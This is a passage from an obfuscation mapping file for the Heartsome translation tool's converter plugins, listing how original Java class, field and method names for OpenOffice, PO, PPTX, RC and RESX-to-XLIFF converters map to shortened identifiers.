net.heartsome.cat.converter.ooconnect.g: + boolean atWork -> ie + void closeOpenoffice(java.lang.String) -> aI + boolean isAtWork() -> bw + com.sun.star.lang.XComponent getCurrentComponent() -> getCurrentComponent +net.heartsome.cat.converter.ooconverter.AbstractOpenOfficeDocumentConverter -> net.heartsome.cat.converter.ooconverter.a: + java.util.Map defaultLoadProperties -> if + net.heartsome.cat.converter.ooconnect.OPConnection openOfficeConnection -> ig + net.heartsome.cat.converter.ooconverter.DocumentFormatRegistry documentFormatRegistry -> ih + void setDefaultLoadProperty(java.lang.String,java.lang.Object) -> a + java.util.Map getDefaultLoadProperties() -> bx + net.heartsome.cat.converter.ooconverter.DocumentFormatRegistry getDocumentFormatRegistry() -> by + void convert(java.io.File,java.io.File) -> a + void convert(java.io.File,java.io.File,net.heartsome.cat.converter.ooconverter.impl.DocumentFormat) -> a + void convert(java.io.InputStream,net.heartsome.cat.converter.ooconverter.impl.DocumentFormat,java.io.OutputStream,net.heartsome.cat.converter.ooconverter.impl.DocumentFormat) -> a + void convert(java.io.File,net.heartsome.cat.converter.ooconverter.impl.DocumentFormat,java.io.File,net.heartsome.cat.converter.ooconverter.impl.DocumentFormat) -> a + void convertInternal(java.io.InputStream,net.heartsome.cat.converter.ooconverter.impl.DocumentFormat,java.io.OutputStream,net.heartsome.cat.converter.ooconverter.impl.DocumentFormat) -> b + void convertInternal(java.io.File,net.heartsome.cat.converter.ooconverter.impl.DocumentFormat,java.io.File,net.heartsome.cat.converter.ooconverter.impl.DocumentFormat) -> b + void ensureNotNull(java.lang.String,java.lang.Object) -> b + net.heartsome.cat.converter.ooconverter.impl.DocumentFormat guessDocumentFormat(java.io.File) -> e + void refreshDocument(com.sun.star.lang.XComponent) -> a + com.sun.star.beans.PropertyValue property(java.lang.String,java.lang.Object) -> c + com.sun.star.beans.PropertyValue[] toPropertyValues(java.util.Map) -> f +net.heartsome.cat.converter.ooconverter.DOCConverter -> net.heartsome.cat.converter.ooconverter.b: + void convert(java.io.InputStream,net.heartsome.cat.converter.ooconverter.impl.DocumentFormat,java.io.OutputStream,net.heartsome.cat.converter.ooconverter.impl.DocumentFormat) -> a + void convert(java.io.File,net.heartsome.cat.converter.ooconverter.impl.DocumentFormat,java.io.File,net.heartsome.cat.converter.ooconverter.impl.DocumentFormat) -> a + void convert(java.io.File,java.io.File,net.heartsome.cat.converter.ooconverter.impl.DocumentFormat) -> a + void convert(java.io.File,java.io.File) -> a +net.heartsome.cat.converter.ooconverter.DocumentFormatRegistry -> net.heartsome.cat.converter.ooconverter.c: + net.heartsome.cat.converter.ooconverter.impl.DocumentFormat getFormatByFileExtension(java.lang.String) -> aJ + net.heartsome.cat.converter.ooconverter.impl.DocumentFormat getFormatByMimeType(java.lang.String) -> aK +net.heartsome.cat.converter.ooconverter.OpenOfficeDocumentConverter -> net.heartsome.cat.converter.ooconverter.d: + void convertInternal(java.io.InputStream,net.heartsome.cat.converter.ooconverter.impl.DocumentFormat,java.io.OutputStream,net.heartsome.cat.converter.ooconverter.impl.DocumentFormat) -> b + void convertInternal(java.io.File,net.heartsome.cat.converter.ooconverter.impl.DocumentFormat,java.io.File,net.heartsome.cat.converter.ooconverter.impl.DocumentFormat) -> b + void loadAndExport(java.lang.String,java.util.Map,java.lang.String,java.util.Map) -> a + com.sun.star.lang.XComponent loadDocument(java.lang.String,java.util.Map) -> a + void storeDocument(com.sun.star.lang.XComponent,java.lang.String,java.util.Map) -> a +net.heartsome.cat.converter.ooconverter.StreamOpenOfficeDocumentConverter -> net.heartsome.cat.converter.ooconverter.e: + void convertInternal(java.io.File,net.heartsome.cat.converter.ooconverter.impl.DocumentFormat,java.io.File,net.heartsome.cat.converter.ooconverter.impl.DocumentFormat) -> b + void convertInternal(java.io.InputStream,net.heartsome.cat.converter.ooconverter.impl.DocumentFormat,java.io.OutputStream,net.heartsome.cat.converter.ooconverter.impl.DocumentFormat) -> b + void loadAndExport(java.io.InputStream,java.util.Map,java.io.OutputStream,java.util.Map) -> a +net.heartsome.cat.converter.ooconverter.impl.BasicDocumentFormatRegistry -> net.heartsome.cat.converter.ooconverter.impl.a: + java.util.List documentFormats -> ii + void addDocumentFormat(net.heartsome.cat.converter.ooconverter.impl.DocumentFormat) -> a + java.util.List getDocumentFormats() -> bz + net.heartsome.cat.converter.ooconverter.impl.DocumentFormat getFormatByFileExtension(java.lang.String) -> aJ + net.heartsome.cat.converter.ooconverter.impl.DocumentFormat getFormatByMimeType(java.lang.String) -> aK +net.heartsome.cat.converter.ooconverter.impl.DefaultDocumentFormatRegistry -> net.heartsome.cat.converter.ooconverter.impl.b: +net.heartsome.cat.converter.ooconverter.impl.DocumentFamily -> net.heartsome.cat.converter.ooconverter.impl.c: + net.heartsome.cat.converter.ooconverter.impl.DocumentFamily TEXT -> ij + net.heartsome.cat.converter.ooconverter.impl.DocumentFamily SPREADSHEET -> ik + net.heartsome.cat.converter.ooconverter.impl.DocumentFamily PRESENTATION -> il + net.heartsome.cat.converter.ooconverter.impl.DocumentFamily DRAWING -> im + java.util.Map mapFamilies -> io + java.lang.String name -> name + java.lang.String getName() -> getName + net.heartsome.cat.converter.ooconverter.impl.DocumentFamily getFamily(java.lang.String) -> aL +net.heartsome.cat.converter.ooconverter.impl.DocumentFormat -> net.heartsome.cat.converter.ooconverter.impl.d: + java.lang.String FILTER_NAME -> ip + java.lang.String name -> name + net.heartsome.cat.converter.ooconverter.impl.DocumentFamily family -> iq + java.lang.String mimeType -> mimeType + java.lang.String fileExtension -> fileExtension + java.util.Map exportOptions -> ir + java.util.Map importOptions -> is + java.lang.String getName() -> getName + net.heartsome.cat.converter.ooconverter.impl.DocumentFamily getFamily() -> bA + java.lang.String getMimeType() -> getMimeType + java.lang.String getFileExtension() -> getFileExtension + java.lang.String getExportFilter(net.heartsome.cat.converter.ooconverter.impl.DocumentFamily) -> a + boolean isImportable() -> bB + boolean isExportOnly() -> bC + boolean isExportableTo(net.heartsome.cat.converter.ooconverter.impl.DocumentFormat) -> b + boolean isExportableFrom(net.heartsome.cat.converter.ooconverter.impl.DocumentFamily) -> b + void setExportFilter(net.heartsome.cat.converter.ooconverter.impl.DocumentFamily,java.lang.String) -> a + void setExportOption(net.heartsome.cat.converter.ooconverter.impl.DocumentFamily,java.lang.String,java.lang.Object) -> a + java.util.Map getExportOptions(net.heartsome.cat.converter.ooconverter.impl.DocumentFamily) -> c + void setImportOption(java.lang.String,java.lang.Object) -> d + java.util.Map getImportOptions() -> bD +net.heartsome.cat.converter.openoffice.Activator -> net.heartsome.cat.converter.openoffice.Activator: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.converter.openoffice.Activator plugin -> it + org.osgi.framework.BundleContext bundleContext -> fl + org.osgi.util.tracker.ServiceTracker positiveTracker -> fm + org.osgi.util.tracker.ServiceTracker reverseTracker -> fn + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.converter.openoffice.Activator getDefault() -> getDefault + net.heartsome.cat.converter.Converter getXMLConverter(java.lang.String) -> getXMLConverter + org.osgi.framework.BundleContext access$0() -> J +net.heartsome.cat.converter.openoffice.Activator$XmlPositiveCustomizer -> net.heartsome.cat.converter.openoffice.Activator$XmlPositiveCustomizer: + net.heartsome.cat.converter.openoffice.Activator this$0 -> iu + java.lang.Object addingService(org.osgi.framework.ServiceReference) -> addingService + void modifiedService(org.osgi.framework.ServiceReference,java.lang.Object) -> modifiedService + void removedService(org.osgi.framework.ServiceReference,java.lang.Object) -> removedService +net.heartsome.cat.converter.openoffice.Activator$XmlReverseCustomize -> net.heartsome.cat.converter.openoffice.Activator$XmlReverseCustomize: + net.heartsome.cat.converter.openoffice.Activator this$0 -> iu + java.lang.Object addingService(org.osgi.framework.ServiceReference) -> addingService + void modifiedService(org.osgi.framework.ServiceReference,java.lang.Object) -> modifiedService + void removedService(org.osgi.framework.ServiceReference,java.lang.Object) -> removedService +net.heartsome.cat.converter.openoffice.OpenOffice2Xliff -> net.heartsome.cat.converter.openoffice.OpenOffice2Xliff: + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + net.heartsome.cat.converter.Converter dependantConverter -> fp + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + net.heartsome.cat.converter.Converter access$0(net.heartsome.cat.converter.openoffice.OpenOffice2Xliff) -> a +net.heartsome.cat.converter.openoffice.OpenOffice2Xliff$OpenOffice2XliffImpl -> net.heartsome.cat.converter.openoffice.OpenOffice2Xliff$OpenOffice2XliffImpl: + net.heartsome.xml.Document merged -> iv + net.heartsome.xml.Element mergedRoot -> iw + java.util.zip.ZipInputStream zipIn -> ix + java.util.zip.ZipOutputStream zipOut -> fg + java.lang.String srcFile -> srcFile + java.lang.String skeleton -> skeleton + boolean isSuite -> dS + java.lang.String type -> type + net.heartsome.cat.converter.openoffice.OpenOffice2Xliff this$0 -> iz + int countSegments(java.lang.String) -> aM + void saveEntry(java.util.zip.ZipEntry,java.lang.String) -> a + void addFile(java.lang.String) -> addFile + void updateXliff(java.lang.String,java.lang.String) -> p + void setType(java.lang.String) -> setType + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.converter.openoffice.Xliff2OpenOffice -> net.heartsome.cat.converter.openoffice.Xliff2OpenOffice: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + net.heartsome.cat.converter.Converter dependantConverter -> fp + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + org.slf4j.Logger access$0() -> access$0 + net.heartsome.cat.converter.Converter access$1(net.heartsome.cat.converter.openoffice.Xliff2OpenOffice) -> a +net.heartsome.cat.converter.openoffice.Xliff2OpenOffice$Xliff2OpenOfficeImpl -> net.heartsome.cat.converter.openoffice.Xliff2OpenOffice$Xliff2OpenOfficeImpl: + java.util.Hashtable filesTable -> iA + boolean isEmbedded -> iB + java.lang.String catalogue -> catalogue + boolean isInfoEnabled -> hU + net.heartsome.cat.converter.openoffice.Xliff2OpenOffice this$0 -> iC + net.heartsome.xml.Document buildDoc(java.lang.String) -> buildDoc + net.heartsome.xml.Document createEmptyDoc(java.lang.String) -> createEmptyDoc + void saveFile(net.heartsome.xml.Element) -> d + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.converter.openoffice.resource.Messages -> net.heartsome.cat.converter.openoffice.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> cZ + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.converter.po.Activator -> net.heartsome.cat.converter.po.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.converter.po.Activator plugin -> iD + org.osgi.framework.ServiceRegistration po2XliffSR -> iE + org.osgi.framework.ServiceRegistration xliff2PoSR -> iF + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.converter.po.Activator getDefault() -> bE +net.heartsome.cat.converter.po.Po2Xliff -> net.heartsome.cat.converter.po.b: + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName + java.lang.String parseString(java.lang.String) -> parseString + java.lang.String access$0(java.lang.String) -> P +net.heartsome.cat.converter.po.Po2Xliff$Po2XliffImpl -> net.heartsome.cat.converter.po.c: + java.io.InputStreamReader input -> ew + java.io.FileOutputStream output -> dR + java.io.FileOutputStream skeleton -> ej + java.io.BufferedReader buffer -> ex + java.lang.String inputFile -> dM + java.lang.String xliffFile -> dN + java.lang.String skeletonFile -> dO + java.lang.String source -> source + java.lang.String target -> target + java.lang.String comment -> comment + java.lang.String context -> context + java.lang.String reference -> iG + java.lang.String flags -> iH + boolean fuzzy -> iI + boolean cformat -> iJ + boolean inDomain -> iK + java.lang.String sourceLanguage -> eh + java.lang.String targetLanguage -> cW + int segId -> ek + int domainId -> iL + int contextId -> iM + int refId -> iN + net.heartsome.cat.converter.po.Po2Xliff this$0 -> iO + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run + void writeString(java.lang.String) -> writeString + void writeSkeleton(java.lang.String) -> D + void writeSegment() -> L + void parseReference(java.lang.String) -> aN +net.heartsome.cat.converter.po.Xliff2Po -> net.heartsome.cat.converter.po.d: + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName + java.lang.String addQuotes(java.lang.String) -> aO + java.lang.String access$0(java.lang.String) -> P +net.heartsome.cat.converter.po.Xliff2Po$Xliff2PoImpl -> net.heartsome.cat.converter.po.e: + java.lang.String UTF_8 -> UTF_8 + java.io.InputStreamReader input -> ew + java.io.BufferedReader buffer -> ex + java.lang.String sklFile -> ey + java.lang.String xliffFile -> dN + java.lang.String line -> line + java.util.Hashtable segments -> ez + java.io.FileOutputStream output -> dR + java.lang.String encoding -> encoding + boolean isPreviewMode -> iP + net.heartsome.cat.converter.po.Xliff2Po this$0 -> iQ + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run + void writeSegment(net.heartsome.xml.Element) -> e + void writeFlags(net.heartsome.xml.Element,boolean) -> a + void writeReferences(net.heartsome.xml.Element) -> f + void writeContext(net.heartsome.xml.Element) -> g + void writeComments(net.heartsome.xml.Element) -> h + java.util.Vector splitLines(java.lang.String) -> aP + void loadSegments() -> N + void recurse(net.heartsome.xml.Element) -> i + void writeString(java.lang.String) -> writeString +net.heartsome.cat.converter.po.resource.Messages -> net.heartsome.cat.converter.po.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> cZ + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.converter.pptx.Activator -> net.heartsome.cat.converter.pptx.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + org.osgi.framework.BundleContext context -> context + org.osgi.framework.ServiceRegistration pptx2XLIFFSR -> iR + org.osgi.framework.ServiceRegistration xliff2PPTXSR -> iS + net.heartsome.cat.converter.pptx.Activator plugin -> iT + org.osgi.framework.BundleContext getContext() -> getContext + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + org.eclipse.jface.resource.ImageDescriptor getImageDescriptor(java.lang.String) -> getImageDescriptor + net.heartsome.cat.converter.pptx.Activator getDefault() -> bF +net.heartsome.cat.converter.pptx.PPTX2XLIFF -> net.heartsome.cat.converter.pptx.b: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName + org.slf4j.Logger access$0() -> access$0 +net.heartsome.cat.converter.pptx.PPTX2XLIFF$PPTX2XLIFFImpl -> net.heartsome.cat.converter.pptx.c: + java.lang.String PREFIX_A -> iU + java.lang.String NAMESPACE_A -> NAMESPACE_A + java.lang.String PREFIX_P -> iW + java.lang.String NAMESPACE_P -> iX + java.lang.String strSrcPath -> eI + java.lang.String strSklPath -> eJ + java.lang.String strXLIFFPath -> eK + boolean blnIsSuite -> eL + java.lang.String strQtToolID -> eM + java.lang.String strSrcLang -> eN + java.lang.String strTgtLang -> eO + java.lang.String strCatalogue -> eP + java.lang.String strSrx -> eQ + java.lang.String strSrcEncoding -> eR + boolean blnSegByElement -> eS + net.heartsome.cat.converter.StringSegmenter segmenter -> er + java.io.FileOutputStream out -> eX + java.util.zip.ZipOutputStream zipSklOut -> eY + net.heartsome.cat.common.file.FileManager fileManager -> eZ + java.lang.String strTmpFolderPath -> fa + int segNum -> fb + java.util.HashMap mapSldMasterPH -> iY + java.util.HashMap mapSldLayoutPH -> iZ + java.util.HashMap mapLayout -> ja + java.util.ArrayList lstSlide -> jb + boolean blnIsFilterNote -> jc + net.heartsome.cat.converter.pptx.PPTX2XLIFF this$0 -> jd + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run + void parseSlideMasterRels(org.eclipse.core.runtime.IProgressMonitor) -> g + void parseSlideMaster(org.eclipse.core.runtime.IProgressMonitor) -> h + java.lang.String getCurrentElementAttribut(java.lang.String,java.lang.String,com.ximpleware.VTDNav) -> a + java.lang.String getElementAttribute(java.lang.String,java.lang.String,com.ximpleware.VTDNav) -> b + void getSlideAndSort(org.eclipse.core.runtime.IProgressMonitor) -> i + void parseSlideLayout() -> bG + void parseSlideBySort(org.eclipse.core.runtime.IProgressMonitor) -> j + void removeDuplicateWithOrder(java.util.List) -> f + java.lang.String cleanNull(java.lang.String) -> aQ + void writeSegment(java.lang.String) -> x + void writeHeader() -> writeHeader + void writeOut(java.lang.String) -> I + void releaseSrcZip(java.lang.String) -> J + java.util.HashMap access$0(net.heartsome.cat.converter.pptx.PPTX2XLIFF$PPTX2XLIFFImpl) -> a + java.util.HashMap access$1(net.heartsome.cat.converter.pptx.PPTX2XLIFF$PPTX2XLIFFImpl) -> b +net.heartsome.cat.converter.pptx.PPTX2XLIFF$PPTX2XLIFFImpl$1 -> net.heartsome.cat.converter.pptx.d: + net.heartsome.cat.converter.pptx.PPTX2XLIFF$PPTX2XLIFFImpl this$1 -> je + int compare(java.lang.String[],java.lang.String[]) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.converter.pptx.PPTX2XLIFF$PPTX2XLIFFImpl$2 -> net.heartsome.cat.converter.pptx.e: + net.heartsome.cat.converter.pptx.PPTX2XLIFF$PPTX2XLIFFImpl this$1 -> je + java.lang.String val$slideLayoutName -> jf + java.lang.String val$slideMasterName -> jg + int compare(java.lang.String[],java.lang.String[]) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.converter.pptx.XLIFF2PPTX -> net.heartsome.cat.converter.pptx.f: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName + org.slf4j.Logger access$0() -> access$0 +net.heartsome.cat.converter.pptx.XLIFF2PPTX$XLIFF2PPTXImpl -> net.heartsome.cat.converter.pptx.g: + java.lang.String PREFIX_A -> iU + java.lang.String NAMESPACE_A -> NAMESPACE_A + java.lang.String PREFIX_P -> iW + java.lang.String NAMESPACE_P -> iX + java.lang.String strXLIFFPath -> eK + java.lang.String strSklPath -> eJ + java.util.zip.ZipOutputStream zipOut -> fg + java.lang.String strTmpFolderPath -> fa + net.heartsome.cat.common.file.FileManager fileManager -> eZ + java.util.HashMap mapSegment -> fh + boolean blnIsPreviewMode -> jh + java.util.regex.Pattern pattern -> fi + net.heartsome.cat.converter.pptx.XLIFF2PPTX this$0 -> ji + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run + void loadSegment() -> H + void releaseSklZip(java.lang.String) -> L + void handleSklFile(java.lang.String,org.eclipse.core.runtime.IProgressMonitor) -> c + java.lang.String cleanTag(java.lang.String) -> M +net.heartsome.cat.converter.pptx.preference.Constants -> net.heartsome.cat.converter.pptx.preference.a: + java.lang.String PREFERENCE_PPTX_32 -> jj + java.lang.String PPTX_FILTER -> jk +net.heartsome.cat.converter.pptx.preference.ConverterPreferenceInitializer -> net.heartsome.cat.converter.pptx.preference.b: + void initializeDefaultPreferences() -> initializeDefaultPreferences +net.heartsome.cat.converter.pptx.preference.PPTXPreferencePage -> net.heartsome.cat.converter.pptx.preference.c: + org.eclipse.jface.preference.IPreferenceStore preferenceStore -> gH + org.eclipse.swt.widgets.Button btnNote -> jl + org.eclipse.swt.widgets.Control createContents(org.eclipse.swt.widgets.Composite) -> createContents + void init(org.eclipse.ui.IWorkbench) -> init + void performDefaults() -> performDefaults + boolean performOk() -> performOk +net.heartsome.cat.converter.pptx.resource.Messages -> net.heartsome.cat.converter.pptx.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> cZ + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.converter.rc.Activator -> net.heartsome.cat.converter.rc.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.converter.rc.Activator plugin -> jm + org.osgi.framework.ServiceRegistration rc2XliffSR -> jn + org.osgi.framework.ServiceRegistration xliff2RcSR -> jo + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.converter.rc.Activator getDefault() -> bH +net.heartsome.cat.converter.rc.Rc2Xliff -> net.heartsome.cat.converter.rc.b: + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName + boolean validateNumber(java.lang.String) -> aR + boolean isEndControlStatement(java.lang.String) -> aS + boolean blankChar(char) -> e + boolean beginBlock(java.lang.String) -> aT + boolean endBlock(java.lang.String) -> aU + boolean access$0(char) -> f + boolean access$1(java.lang.String) -> aV + boolean access$2(java.lang.String) -> aW + boolean access$3(java.lang.String) -> aX + boolean access$4(java.lang.String) -> aY +net.heartsome.cat.converter.rc.Rc2Xliff$Rc2XliffImpl -> net.heartsome.cat.converter.rc.c: + java.io.FileInputStream input -> ei + java.io.FileOutputStream output -> dR + java.io.FileOutputStream skeleton -> ej + java.io.InputStreamReader buffer -> jp + java.lang.String inputFile -> dM + java.lang.String xliffFile -> dN + java.lang.String skeletonFile -> dO + java.lang.String lastWord -> jq + java.lang.String sourceLanguage -> eh + java.lang.String targetLanguage -> cW + int segId -> ek + java.lang.String stack -> jr + int blockStack -> js + java.lang.String srcEncoding -> srcEncoding + net.heartsome.cat.converter.util.CalculateProcessedBytes cpb -> eB + org.eclipse.core.runtime.IProgressMonitor monitor -> monitor + net.heartsome.cat.converter.rc.Rc2Xliff this$0 -> jt + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run + void writeString(java.lang.String) -> writeString + void writeSkeleton(java.lang.String) -> D + void writeSkeleton(char) -> g + void writeSegment(java.lang.String) -> x + void caculateProcessed(java.lang.String) -> aZ + void parseRC() -> bI + void parseComment() -> bJ + void parseStatement(char) -> h + void parseDirective() -> bK + void parseDefine() -> bL + void parseBlock() -> bM + void parseDialog() -> bN + void parseDialogContent() -> bO + void parseControlBlock() -> bP + boolean parseControlTypeI() -> bQ + void writeConditional(char,boolean) -> a + void parseComment(boolean,boolean) -> a + java.lang.String parseWords(java.lang.String,boolean,boolean) -> a + void captureString(boolean) -> h + void parseStringTable() -> bR + void parseMenu() -> bS + void parseMenuBlock() -> bT + void parsePopup() -> bU + void parseDlgInit() -> bV + void parseDlgInitBlock() -> bW + void extractString(java.lang.String,int) -> d +net.heartsome.cat.converter.rc.Xliff2Rc -> net.heartsome.cat.converter.rc.d: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName + org.slf4j.Logger access$0() -> access$0 +net.heartsome.cat.converter.rc.Xliff2Rc$Xliff2RcImpl -> net.heartsome.cat.converter.rc.e: + java.lang.String UTF_8 -> UTF_8 + java.io.InputStreamReader input -> ew + java.io.BufferedReader buffer -> ex + java.lang.String sklFile -> ey + java.lang.String xliffFile -> dN + java.lang.String line -> line + java.util.Hashtable segments -> ez + java.io.FileOutputStream output -> dR + java.lang.String catalogue -> catalogue + java.util.Hashtable dlgText -> ju + java.lang.String destTemp -> jv + java.lang.String encoding -> encoding + java.lang.String outputFile -> outputFile + boolean isInfoEnabled -> hU + net.heartsome.cat.converter.rc.Xliff2Rc this$0 -> jw + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run + java.lang.String converDlgInit(java.lang.String,java.lang.String) -> q + java.lang.String decode(java.lang.String,java.lang.String) -> decode + void loadSegments() -> N + void writeStringEncoded(java.lang.String) -> ba + void writeString(java.lang.String) -> writeString + void dlgInitExists(java.util.Map) -> g + void dlgInitLengths(java.util.Map) -> h +net.heartsome.cat.converter.rc.resource.Messages -> net.heartsome.cat.converter.rc.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> cZ + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.converter.resource.Messages -> net.heartsome.cat.converter.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> h + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.converter.resx.Activator -> net.heartsome.cat.converter.resx.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.converter.resx.Activator plugin -> jx + org.osgi.framework.BundleContext bundleContext -> fl + org.osgi.util.tracker.ServiceTracker positiveTracker -> fm + org.osgi.util.tracker.ServiceTracker reverseTracker -> fn + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.converter.resx.Activator getDefault() -> bX + net.heartsome.cat.converter.Converter getXMLConverter(java.lang.String) -> getXMLConverter + org.osgi.framework.BundleContext access$0() -> J +net.heartsome.cat.converter.resx.Activator$XmlPositiveCustomizer -> net.heartsome.cat.converter.resx.b: + net.heartsome.cat.converter.resx.Activator this$0 -> jy + java.lang.Object addingService(org.osgi.framework.ServiceReference) -> addingService + void modifiedService(org.osgi.framework.ServiceReference,java.lang.Object) -> modifiedService + void removedService(org.osgi.framework.ServiceReference,java.lang.Object) -> removedService +net.heartsome.cat.converter.resx.Activator$XmlReverseCustomize -> net.heartsome.cat.converter.resx.c: + net.heartsome.cat.converter.resx.Activator this$0 -> jy + java.lang.Object addingService(org.osgi.framework.ServiceReference) -> addingService + void modifiedService(org.osgi.framework.ServiceReference,java.lang.Object) -> modifiedService + void removedService(org.osgi.framework.ServiceReference,java.lang.Object) -> removedService +net.heartsome.cat.converter.resx.Resx2Xliff -> net.heartsome.cat.converter.resx.d: + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + net.heartsome.cat.converter.Converter dependantConverter -> fp + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName + boolean isTrans(net.heartsome.xml.Element) -> j + boolean isSkipCommand(net.heartsome.xml.Element) -> k + boolean access$0(net.heartsome.xml.Element) -> l + boolean access$1(net.heartsome.xml.Element) -> m + net.heartsome.cat.converter.Converter access$2(net.heartsome.cat.converter.resx.Resx2Xliff) -> a +net.heartsome.cat.converter.resx.Resx2Xliff$Resx2XliffImpl -> net.heartsome.cat.converter.resx.e: + net.heartsome.xml.Document xmlResx -> jz + java.lang.String inputFile -> dM + net.heartsome.cat.converter.resx.Resx2Xliff this$0 -> jA + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run + net.heartsome.xml.Document openXml(java.lang.String,java.lang.String) -> r + void saveXml(net.heartsome.xml.Document,java.lang.String) -> a +net.heartsome.cat.converter.resx.Xliff2Resx -> net.heartsome.cat.converter.resx.f: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + net.heartsome.cat.converter.Converter dependantConverter -> fp + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName + boolean isConvNode(net.heartsome.xml.Element) -> n + net.heartsome.xml.Document openXml(java.lang.String,java.lang.String) -> r + void saveXml(net.heartsome.xml.Document,java.lang.String) -> a + net.heartsome.cat.converter.Converter 